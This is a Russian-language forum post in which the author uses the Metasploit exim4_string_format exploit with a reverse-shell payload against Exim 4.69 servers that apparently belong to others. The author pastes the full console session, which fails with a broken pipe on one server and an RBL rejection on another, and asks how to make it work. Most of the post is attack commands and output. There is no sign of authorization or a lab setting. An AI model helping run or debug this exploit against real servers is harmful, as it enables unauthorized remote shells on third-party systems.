Столкнулся со следующей проблемой. На сайте крутится Exim 4.69.
Вывод nmap:
25/tcp open smtp Exim smtpd 4.69
Пытаюсь использовать готовый эксплойт в Metsploit - http://www.metasploit.com/modules/exploit/unix/smtp/exim4_string_format
Вывод консоли:
msf > use unix/smtp/exim4_string_format
msf exploit(exim4_string_format) > set LHOST xxx
LHOST => xxx
msf exploit(exim4_string_format) > set RHOST yyy
RHOST => yyy
msf exploit(exim4_string_format) > set Payload generic/shell_reverse_tcp
Payload => generic/shell_reverse_tcp
msf exploit(exim4_string_format) > exploit
[-] Handler failed to bind to xxx:4444
[*] Started reverse handler on 0.0.0.0:4444
[*] Server: yyy ESMTP Exim 4.69 #1 Sun, 12 Dec 2010 11:00:32 -0600
220-We do not authorize the use of this system to transport unsolicited,
220 and/or bulk e-mail.
[*] EHLO: yyy Hello xxx [xxx]
[*] EHLO: 250-SIZE 52428800
[*] EHLO: 250-PIPELINING
[*] EHLO: 250-AUTH PLAIN LOGIN
[*] EHLO: 250-STARTTLS
[*] EHLO: 250 HELP
[*] Determined our hostname is xxx and IP address is xxx
[*] MAIL: 250 OK
[*] RCPT: 550-xxx (xxx) [xxx] is currently
550-not permitted to relay through this server. Perhaps you have not logged
550-into the pop/imap server in the last 30 minutes or do not have SMTP
550 Authentication turned on in your email client.
[*] DATA: 503-All RCPT commands were rejected with this error:
503-xxx (xxx.com) [xxx] is currently
503-not permitted to relay through this server. Perhaps you have not logged
503-into the pop/imap server in the last 30 minutes or do not have SMTP
503-Authentication turned on in your email client.
503 Valid RCPT command must precede DATA
[*] Constructing initial headers ...
[*] Constructing HeaderX ...
[*] Constructing body ...
[*] Sending 50 megabytes of data...
[-] Exploit exception: Broken pipe
[*] Exploit completed, but no session was created.
Что это за Broken pipe такой? Кто-нибудь вообще пробовал этот сплойт?
На другом сервере выдает:
[*] MAIL: 250 OK
[*] RCPT: 550-"JunkMail rejected - xxx (xxx.com) 550-[xxx]:50524 is in an RBL, see 550 http://www.spamhaus.org/query/bl?ip=xxx"
[-] Exploit exception: end of file reached
[*] Exploit completed, but no session was created.